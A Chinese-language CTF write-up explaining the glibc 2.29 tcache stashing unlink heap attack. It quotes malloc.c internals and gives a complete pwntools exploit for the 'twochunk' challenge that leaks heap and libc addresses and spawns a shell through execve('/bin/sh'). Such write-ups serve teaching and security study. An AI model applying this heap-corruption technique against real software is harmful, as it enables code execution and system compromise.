目錄
  1. 1. 前言
  2. 2. 原理
    1. 2.1. unsorted bin attack
    2. 2.2. house of lore
    3. 2.3. tcache_stashing_unlink_attack
  3. 3. 例题
    1. 3.1. 程序分析
    2. 3.2. 利用过程
tcache_stashing_unlink_attack

前言

tcache_stashing_unlink_attack是glibc2.29和glibc2.30下的一种新型攻击技巧

原理

该利用原理与unsorted bin attack和house of lore攻击相似,首先来回顾一下它们两个

unsorted bin attack

在glibc2.27/malloc/malloc.c: 3777中

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

没有做任何检查,可以使bck->fd写入libc地址(av)

在glibc2.29/malloc/malloc.c: 3976中

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

做了检查,因此unsorted bin attack在glibc2.29中失效

house of lore

house of lore利用的是small bin分配时的unlink

参考链接:https://wiki.x10sec.org/pwn/heap/house_of_lore/

在glibc2.23/malloc/malloc.c: 3397中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}

从下面的这部分我们可以看出

1
2
3
4
5
6
7
8
9
10
11
12
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。

在glibc2.27和2.29中也没有做过多的检查

参考链接:berming

在glibc2.29/malloc/malloc.c: 3664中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //类似house of lore
bck->fd = bin; //没有做任何检查,类似unsorted bin

tcache_put (tc_victim, tc_idx);
}
}
}
#endif

可以看到,当small bin不为空而tcache不满时,可以达到与unsorted bin attack和house of lore相同的攻击效果。

看着挺有道理,但是当small bin不为空而tcache不满这两个条件在引入tcache之后似乎有点矛盾。因为我们不能越过Tcache向SmallBin中填入Chunk,也不能越过Tcache从SmallBin中取出Chunk。但是,事情总是充满玄机,这里不得不提calloc和unsorted bin中的last remainder与tcache的爱恨情仇。

1、calloc不会从TcacheChunk,因此可以越过第二条矛盾“不能越过TcacheSmallBin中取出Chunk”。

2、Unsorted Binlast remainder基址,当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时,该Chunk不会进入Tcache。因此可以越过第一条矛盾“不能越过Tcache向SmallBin中填入Chunk”。

其实calloc与malloc的特性可以方式直接泄露libc,因为当我们使用malloc时会直接从tcache取chunk,tcache中的chunk不存在libc地址,而使用calloc时,会把chunk清零。但是malloc可以泄露堆地址。

例题

下面以gxzyCTF中的twochunk为例

程序分析

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/glibc2.29/twochunk/twochunk'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序功能较多

1
2
result = (signed int)mmap((void *)0x23333000, 0x2000uLL, 3, 34, -1, 0LL);
buf = (void *)(signed int)result;

在0x23333000出mmap出了一块大小为2000的可读写空间,地址存放在bss段的buf中

在0x23333000处存放name和msg,同时有一次修改和打印name、msg的功能。

使用calloc申请堆块,大小为(0x80, 0x3ff ],即small bin大小的堆块,同时最多申请两个,当size=0x23333可以使用一次malloc(0xE9)

free函数没问题

show函数只能使用一次

edit函数只能使用一次,有32字节溢出

存在后门函数,可以配合修改msg使用,前提是泄露libc地址

因此,这道题的目标就是泄露libc地址,刚好利用类unsorted bin attack可以将libc地址写道任意位置,我们可以写入0x23333000,然后利用打印name、msg函数泄露出来。

利用过程

首先,我们需要一个用来两个不同大小的chunk,一个未满,一个已满

1
2
3
4
5
6
7
for i in range(5):
add(0,0x88)
free(0)

for i in range(7):
add(0,0x190)
free(0)

下面构造两个small bin

1
2
3
4
5
6
7
8
9
#first smallbin
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100) #还剩下0x90大小的chunk
free(1)
free(0)
add(0,0xf0) #Unsorted Bin的last remainder
free(0)

1
2
3
4
5
6
7
8
9
10
add(0,0xf0) #为malloc(E9)
free(0)
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)
add(0,0x190)
free(0)

泄露堆地址

1
2
3
4
add(0,23333)
show(0)
heap = u64(p.recv(6).ljust(8,'\x00'))
log.success("heap:"+hex(heap))

tcache stashing unlink

1
2
3
payload = '\x00'*0xf0+p64(0)+p64(0x111)+'\x00'*0x100+p64(0)+p64(0x91)+p64(heap-0x250)+p64(0x23333000-0x10)
edit(0,payload)
add(1,0x88)

此时堆布局如下

以上过程首先是类house of lore攻击

检查:bck->fd = victim(通过)

结果:bin->bk = bck; bck->fd = bin;

接下来是类unsorted bin attack

检查:无

结果:bin->bk = bck; bck->fd = bin;

攻击之后的效果如下

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context.update(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']

elf = ELF("./twochunk")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

r = lambda x: p.recvuntil(x)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

debug = 1
if debug:
p = process("./twochunk")
else:
print "remote"

def add(idx,size):
s("choice: ",str(1))
s("idx: ",str(idx))
s("size: ",str(size))

def free(idx):
s("choice: ",str(2))
s("idx: ",str(idx))

def show(idx):
s("choice: ",str(3))
s("idx: ",str(idx))

def edit(idx,content):
s("choice: ",str(4))
s("idx: ",str(idx))
s("content: ",content)

def leave_msg(msg):
s("choice: ",str(6))
s("message: ",msg)
def gd():
gdb.attach(p)
s('name: ',p64(0x23333020)*6)
s('message: ',p64(0x23333020)*8)

for i in range(5):
add(0,0x88)
free(0)

for i in range(7):
add(0,0x190)
free(0)
#make two small bin
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)
add(0,0xf0)
free(0)
add(0,0xf0)
free(0)
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)
add(0,0x190)
free(0)
add(0,23333)
show(0)
heap = u64(p.recv(6).ljust(8,'\x00'))
log.success("heap:"+hex(heap))
payload = '\x00'*0xf0+p64(0)+p64(0x111)+'\x00'*0x100+p64(0)+p64(0x91)+p64(heap-0x250)+p64(0x23333000-0x10)
edit(0,payload)
add(1,0x88)
s("choice: ",str(5))
r("message: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x1eac60
log.success("libc_base:"+hex(libc_base))
payload = p64(libc_base+libc.symbols['execve'])
payload += p64(0)*5+p64(libc_base+libc.search('/bin/sh').next())+p64(0)+p64(0)
leave_msg(payload)
# gd()
p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/04/10/tcache-stashing-unlink-attack/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL